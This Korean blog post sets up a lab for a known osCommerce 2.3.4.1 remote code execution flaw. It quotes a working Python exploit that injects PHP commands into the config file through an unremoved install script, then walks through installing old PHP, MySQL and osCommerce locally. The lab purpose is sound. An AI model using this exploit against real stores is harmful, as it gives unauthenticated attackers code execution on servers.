외로운 Nova의 작업실

osCommerce 2.3.4.1 - Remote Code Execution 1(환경 구성) 본문

Server Penetesting/Exploit-db

osCommerce 2.3.4.1 - Remote Code Execution 1(환경 구성)

Nova_ 2023. 3. 29. 21:27

- osCommerce 2.3.4.1 - Remote Code Execution

oscommerce는 장바구니가 있는 쇼핑몰을 만들때 사용하는 오픈소스 웹 소스입니다. 아파치를 설치하고 그 아파치위에 oscommerce 소스를 넣으면 손쉽게 웹 형태로 쇼핑몰을 만들 수 있습니다. 마치 네이버 스마트스토어와 같이 말입니다. 해당 취약점은 관리자가 oscommerce를 설치하고 install.php를 삭제하지 않은 경우에 일어납니다. 익스플로잇 코드는 아래와 같습니다.

# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.


import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://localhost//oscommerce-2.3.4.1/catalog/"
target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")

이제 한번 익스플로잇을 해볼 환경을 구축해보겠습니다.

 

- 환경 구축

환경 구축에 가장 중요한 것은 그때의 어플리케이션들을 다운받아야한다는 것입니다. 저는 oscommerce 파일을 받고 php 최신버전인 8버전에서 구동시켰습니다. 이때 install 과정에서 oscommerce가 무한로딩 되었습니다. 아래는 자료화면입니다.

위상태가 10시간이 지나도 동일했습니다. 이제와서 보니 이렇게 된 이유는 php 버전때문입니다. php 버전이 업데이트됨에따라서 구동이 안되는 함수들이 있고, 그 함수들을 사용할때 이러한 현상이 나타나게됨을 알 수 있었습니다. 따라서 php 버전도 그때 사용하던 php, mysql도 그때 사용하던 mysql을 설치해줘야합니다. 아파치는 최신버전으로 해도 상관없습니다. 아파치는 이전에 다운로드 했던것을 사용하겠습니다.

 

- php 다운

해당 exploit은 2018년 3월에 확인이되었으므로 그 이전버전을 설치해야합니다.

https://windows.php.net/downloads/releases/archives/

 

windows.php.net - /downloads/releases/archives/

 

windows.php.net

위에들어가면 이전 php를 다운받을 수 있습니다. 버전은 5.6.34-vc11을 받아줍니다. 이후 php를 아파치와 연동시켜줍니다. 그 방법은 아래 포스팅에 남겨있습니다.

https://lonelynova.tistory.com/262

 

Web 모의 서버 구축 - 3(mysql, php 연동하기)

- php 다운로드 및 연동 https://windows.php.net/download/ PHP For Windows: Binaries and sources Releases PHP 8.0 (8.0.28) Download source code [23.47MB] Download tests package (phpt) [13.56MB] VS16 x64 Non Thread Safe (2023-Feb-14 12:39:52) Zip [25.5

lonelynova.tistory.com

 

- Mysql

Mysql 또한 php 버전에따라서 작동이 될수도 안될 수 있습니다. 따라서 그때의 Mysql을 다운받아줍니다. 

https://downloads.mysql.com/archives/community/

 

MySQL :: Download MySQL Community Server (Archived Versions)

Please note that these are old versions. New releases will have recent bug fixes and features! To download the latest release of MySQL Community Server, please visit MySQL Downloads. MySQL open source software is provided under the GPL License.

downloads.mysql.com

위에 접속해주셔서 5.6.39 버전을 다운로드 해줍니다. 이후 설치 과정은 아래 포스팅을 참조해주세요.

https://youbidan.tistory.com/8

 

MySQL 5.6 수동설치 하기(ZIP,MySQL Community Server 5.6)

1) MySql 홈페이지 접속하기 https://dev.mysql.com/ MySQL :: Developer Zone Supporting all kinds of outer references in derived tables (lateral, or not) (Image credit: Pixabay). In my earlier post, I showed how MySQL, since version 8.0.14, has suppor

youbidan.tistory.com

 

- oscommerce 설치

이후 oscommerce를 아파치 폴더에 넣고 아파치를 실행시켜줍니다.

그리고 oscommerce/catalog/install/index.php 에 들어간후 continue를 눌르고 설치를 진행합니다. 끝나면 아래 화면이 나옵니다.

제가 만든 쇼핑몰 SMASUNG입니다.

다른 ip에서 접속하려면  서버의 ip를 127.0.0.1에서 공인 ip로 변경해줘야합니다. C:\Apache24\htdocs\oscommerce\catalog\includes 해당 경로에 configure.php를 수정하면됩니다. 아래는 해당 파일입니다.

<?php
  define('HTTP_SERVER', 'http://182.227.xxx.xx');
  define('HTTPS_SERVER', 'http://182.227.xxx.xx');
  define('ENABLE_SSL', false);
  define('HTTP_COOKIE_DOMAIN', '');
  define('HTTPS_COOKIE_DOMAIN', '');
  define('HTTP_COOKIE_PATH', '/oscommerce/catalog/');
  define('HTTPS_COOKIE_PATH', '/oscommerce/catalog/');
  define('DIR_WS_HTTP_CATALOG', '/oscommerce/catalog/');
  define('DIR_WS_HTTPS_CATALOG', '/oscommerce/catalog/');
  define('DIR_WS_IMAGES', 'images/');
  define('DIR_WS_ICONS', DIR_WS_IMAGES . 'icons/');
  define('DIR_WS_INCLUDES', 'includes/');
  define('DIR_WS_FUNCTIONS', DIR_WS_INCLUDES . 'functions/');
  define('DIR_WS_CLASSES', DIR_WS_INCLUDES . 'classes/');
  define('DIR_WS_MODULES', DIR_WS_INCLUDES . 'modules/');
  define('DIR_WS_LANGUAGES', DIR_WS_INCLUDES . 'languages/');

  define('DIR_WS_DOWNLOAD_PUBLIC', 'pub/');
  define('DIR_FS_CATALOG', 'C:/Apache24/htdocs/oscommerce/catalog/');
  define('DIR_FS_DOWNLOAD', DIR_FS_CATALOG . 'download/');
  define('DIR_FS_DOWNLOAD_PUBLIC', DIR_FS_CATALOG . 'pub/');

  define('DB_SERVER', 'localhost');
  define('DB_SERVER_USERNAME', 'root');
  define('DB_SERVER_PASSWORD', '');
  define('DB_DATABASE', 'oscommerce');
  define('USE_PCONNECT', 'false');
  define('STORE_SESSIONS', 'mysql');
  define('CFG_TIME_ZONE', 'UTC');
?>

그러면 외부에서도 잘 접속이 됩니다.

Comments